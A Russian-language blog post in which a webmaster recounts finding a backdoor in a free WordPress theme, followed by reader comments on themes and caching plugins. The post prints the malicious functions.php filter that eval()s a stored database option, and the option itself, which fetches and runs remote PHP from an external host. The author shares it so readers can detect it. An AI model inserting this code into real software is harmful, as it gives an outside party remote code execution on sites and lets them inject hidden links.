ruSKweb.ru

"Самая хорошая работа – это высокооплачиваемое хобби"

Генри Форд

Бесплатный шаблон? Проверьте безопасность своего сайта

вирус вордпресс

Привет друзья. Вы уверены, что бесплатный шаблон WordPress, который вы используете для своих сайтов и блогов действительно безопасный и не содержит скрытых угроз и вредоносного кода? Вы полностью в этом уверены? Абсолютно?)

Думаете, прогнали шаблон через плагин TAC, удалили из него скрытые ссылки, и дело сделано. Файлы сайта сканируете периодически антивирусом, заглядываете в инструменты вебмастера Яндекса во вкладку Безопасность и с облегчением видите там сообщение: “Вредоносный код на сайте не обнаружен“.

Вот и я так думал. Не хотел бы вас расстраивать, но…

Скрытый опасный код в бесплатных шаблонах WordPress

Вот такое письмо я получил на прошлой неделе на почту от своего хостинга. С недавних пор они ввели регулярную проверку всех файлов сайта на поиск вредоносного содержания и таки они это содержание у меня обнаружили!

выявление вредоносного кода в шаблоне

Началось все с того, что я зашел как-то днем на свой сайт и не смог его запустить – вылезала ругательная надпись про не найденные файлы с расширением php. Немного напрягшись пошел изучать содержимое папки с сайтом на хостинге и сразу же обнаружил проблему – мой файл шаблона fuctions.php был переименован в functions.php.malware что как бы неоднозначно намекало – здесь поработал антивирус или что-то вроде этого) Зайдя на почту я и обнаружил вышеупомянутый отчет от хостера.

Первым делом я конечно же начал проверять данный файл, изучал его содержимое, сканировал всевозможными антивирусами, десятками онлайн сервисов по проверке на вирусы и т.д. – в итоге ничего не обнаружил, все в один голос утверждали что файл совершенно безопасный. Я разумеется выразил свои сомнения хостеру, мол вы чего-то напутали, но на всякий случай попросил их предоставить отчет об обнаружении вредоносного куска кода.

И вот что они мне ответили

вредоносный код в шаблоне вордпресса

Пошел гуглить инфу о данном коде и серьезно задумался…

Как найти фрагмент вредоносного кода в шаблоне

Как оказалось, это действительно нетривиальный прием, который позволяет заинтересованным лицам передавать данные на ваш сайт и изменять содержимое страниц без вашего ведома! Если вы используете бесплатный шаблон, то настоятельно рекомендую проверить свой functions.php на наличие следующего кода:


add_filter('the_content', '_bloginfo', 10001);
function _bloginfo($content){
global $post;
if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){
return $co;
} else return $content;
}

Даже с моими весьма неглубокими познаниями в php видно, что создается некий фильтр, привязываемый к глобальной переменной post и content отвечающие за вывод контента только на страницах записей блога (условие is_single). Уже подозрительно не так ли? Ну а теперь посмотрим что же такого собирается выводить данный код у нас на сайте.

Интересная опция blogoption запрашиваемая в базе данных так же выглядит весьма подозрительной. Заходим в нашу базу данных MySQL и находим там таблицу под названием wp_options, если вы не меняли префиксы то она так будет выглядеть по умолчанию.  И в ней находим заинтересовавшую нас строку  под названием blogoption

 

база данных вредоносный код

Какая красота! Мы видим следующую опцию

return eval(file_get_contents('http://wpru.ru/aksimet.php?id='.$post->ID.'&m=47&n'));</pre>

Т.е. нам с некого сайта (причем русского заметьте) возвращают содержимое, которое может нести в себе все что угодно! Любое количество ссылок, вредоносные коды, измененный текст и т.д. Сам сайт при заходе на него выдает 403 ошибку доступа, что не удивительно. Разумеется данную опцию я тоже удалил из БД.

По информации от пострадавших обычно возвращается точно такое содержимое вашей статьи с одной лишь модификацией – вместо какой-либо точки “.” в текст маскировалась открытая ссылка! И кстати, данная опция записывается в базу данных при установке самого шаблона, а затем код, который это делает благополучно самоуничтожается. И вот с такой дрянью я жил два года, и ни один антивирус или сервис мне так и не выявил данную угрозу за все то время. Честно говоря я не замечал, срабатывал ли когда-нибудь со мной такой прием, или же эту возможность блокировал мой плагин безопасности (а может одно из обновлений WordPressa закрыло эту дыру), но все равно неприятно.

Мораль про бесплатный сыр

Как вам изощренность наших “переводчиков” шаблонов (или тех кто выкладывает их у себя в каталогах)? Это вам не ссылки из футера выпиливать) Жалко я уже не помню, откуда я скачивал свой шаблон, давно это было, а то бы обязательно пару ласковых написал. И если бы на тот момент обладал тем же опытом, что имею сейчас, то однозначно не пользовался бы бесплатным шаблоном, или на крайний случай не качал бы с неизвестных источников!

Проще купить какой-нибудь официальный премиум шаблон за 15-20 баксов на том же Themeforest и жить спокойно, зная что в нем нет дырок и зашифрованных ссылок, а если даже и найдутся уязвимости, то разработчики обязательно выпустят обновление, в котором эти дырки закроют. (У Артема artabr кстати недавно вышла статья, где он как раз про премиум шаблоны рассказывает и даже раздает промокоды на зверские скидки, кому интересно)

Понравилась статья? Жми лайк:

21 комментариев

  1. Александр пишет:

    Привет. Хоть мой шаблон и делал полностью фрилансер и вряд ли он будет внедрять какие-либо левые функции, но проверить стоит.

    Кстати, у меня к тебе есть вопрос, отправил личкой ВКонтакте :)

    [Ответить]

    Сергей Кобзарь отвечает:

    Проверь конечно, мало ли на какой базе он делает свои шаблоны, может именно на основе бесплатного клепает =)

    [Ответить]

    Денис Нихаев отвечает:

    В моём шаблоне столько дырок было! Пришлось нанимать специалиста для работы.

    [Ответить]

  2. дмитрий пишет:

    Неделя ужасов ВордПресс продолжается) А что от шаблона не отказался? Просто почистил и перекрасил? Люблю оранжевый цвет)

    [Ответить]

    Сергей Кобзарь отвечает:

    Ну буду надеяться что больше сюрпризов в моем шаблоне не обнаружится, уж слишком много времени и сил вложено на то что бы его подогнать под себя и оснастить нужным функционалом.

    Ага, в любой непонятной ситуации перекрашивай шаблон :) Синий, зеленый и оранжевый мои любимые цвета, синий уже был, зеленый следующий претендент =)

    [Ответить]

  3. Артем пишет:

    Привет! Спасибо за упоминание! К вопросу о зашитых ссылках: помнится еще в начале своего блоговодства, столкнулся с проблемой вредоносных ссылок, в итоге мы совместными усилиями с Татьяной Самариной нашли где он был – код был зашит… в точке! В простой точке. Нормально!?

    Смотрю дизайн немного сменил – цвет поменялся и иконки в меню прикручены…

    А чего шаблон не сменишь? Жалко потраченных усилий?

    [Ответить]

    Сергей Кобзарь отвечает:

    Сдается мне что вы столкнулись как раз с этой самой бедой – тут идет подмена контента с замаскированной под точку ссылкой.

    Ага дизайн меняю, еще в процессе. А шаблон да, жалко уже менять =) Да и боюсь если честно, примеров много когда после смены шаблона трафик у людей падает сильно

    [Ответить]

    Артем отвечает:

    Ну да, что-то в этом роде и было.

    Вот объясни мне, каким образом дизайн влияет на трафик?

    [Ответить]

    Сергей Кобзарь отвечает:

    Ну скажем дизайн напрямую может не влиять. Но шаблон это не только дизайн – в основном это функционал и структура элементов, причем весьма непростая, а это уже влияет и еще как. Уже молчу про коды и верстку, на которые пс тоже смотрят

    Впрочем и дизайн может влиять напрямую запросто – попробуй сделать на сайте серый фон и чуть заметный серый шрифт, или например заголовки микроскопические и посмотрим как к этому отнесутся поисковики) Косвено же он влияет через поведенческие факторы – чем больше нравится дизайн посетителям, тем меньше будет отказов, больше просмотров и времени проведенного на сайте, следовательно и больше доверия от поисковиков и выше позиции \ конверсия.

    [Ответить]

    Артем отвечает:

    Это-то понятно, но если переходить на нормальный шаблон без последующих долгих настроек, каким образом это скажется на трафике?

    [Ответить]

    Сергей Кобзарь отвечает:

    Слушай ну когда меняешь шаблон то и код страниц сайта меняется кардинально. Нельзя заранее знать как к этому коду отнесется поисковик, может ему не понравится какая-то малозаметная фигня, на которую ты бы никогда и не подумал)
    Может новый шрифт у него вызовет меньше доверия, или скажем структура верстки покажется кривой и из-за этого он понизит сайт в выдаче. Или самый банальный пример – поисковик просто сканит по своей базе и находит массу похожих дизайнов, который юзают такие же счастливые обладатели премиум шаблонов с предустановками =) И у них у всех практически идентичный код и одинаковый css файл оформления, и это тоже скажется негативно уверяю.
    А тут я уже переделал все что только возможно, от оригинала не осталось и следа и знаю что такого шаблона и похожего кода ни у кого нет) Делать все по новой это слишком долго и муторно.

    [Ответить]

    Артем отвечает:

    Хм, ну вполне может быть…

    [Ответить]

  4. дмитрий пишет:

    Согласен, Сергей.
    Если есть проект с трафиком, то лучше нежно пилить лобзиком существующий шаблон.
    При смене шаблона может резко поменяться структура. Например содержимой сайдбара появиться выше основного контента – что плохо.

    [Ответить]

    Сергей Кобзарь отвечает:

    Угу, там масса подводных камней, которые даже профессионалы иногда могу проглядеть, что уж говорить об обычных блогерах.
    В планах запилить полноценный адаптивный дизайн для мобильных устройств, знания уже имеются, но тааак лень за это браться, там тоже столько гемору может всплыть =)

    [Ответить]

  5. Сергей пишет:

    Да, от темы многое зависит. И сам внешний вид важен для людей, и сам код для поисковых систем. А темы с других сайтов я не любил скачивать. Все же хочется уникальную тему и без всяких проблем. Кстати, видел стандартные темы WordPress, которые были изменены до неузноваемости. Как говорится: “Дело мастера боится!” Очень красивые темы получаются. Но это нужно обладать хорошими навыками, чтобы из такой непримечательной темы сделать конфетку. А обычные (неизмененные) стандартные темы WordPress вы знаете – это полное убожество!

    [Ответить]

    Сергей Кобзарь отвечает:

    Стандартный дизайн быстро приедается, согласен и в конце концов когда встречаешь нечто подобное на втором десятке сайтов то это уже выглядит как-то халтурно что-ли

    [Ответить]

  6. артем пишет:

    день добрый, извиняюсь что немного не в тему. хотел посоветоваться. с недавнего времени заметил, что мой адаптивный шаблон не корректно отображается в мобильной версии на мобильных устройствах. методом тыка установил, что “косячит” плагин w3 total cache, который я установил вместо плагина hyper cache. то есть, когда деактивирую w3 total cache, то на мобильниках сайт нормально отображается. вопрос в следующем: можно ли восстановить нормальное отображение сайта на мобилах без удаления w3 total cache? может надо какой-то код дописать как обычно? не хочется его сносить, т.к. очень хорошо отрабатывает.

    [Ответить]

    Сергей Кобзарь отвечает:

    Здравствуйте. Честно говоря w3 total cache это сплошной сборник косяков и ошибок. Пользовался им когда-то, вечно с ним что-то не так было, в итоге снес. Советую поискать аналоги данного плагина, в сети хватает хороших плагинов кэширования, если он действительно вам необходим и у вас большая нагрузка на хостинг и трафик выше 1500-2000 тысяч человек в сутки

    [Ответить]

  7. артем пишет:

    да я “зацепился” за w3 total cache потому что он хорошо поднял показатели сайта в пэйджспид, сжал он хорошо css и js, кроме того по отзывам он создает минимальную нагрузку на блог…если найти бы ему замену в этом плане, то так бы и сделал.

    [Ответить]

    Сергей Кобзарь отвечает:

    WP Super Cache попробуйте, умеет все то же самое, только глюков на порядок меньше

    [Ответить]

    артем отвечает:

    спасибо! попробую, буду экспериментировать!

    [Ответить]

Оставить комментарий

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!: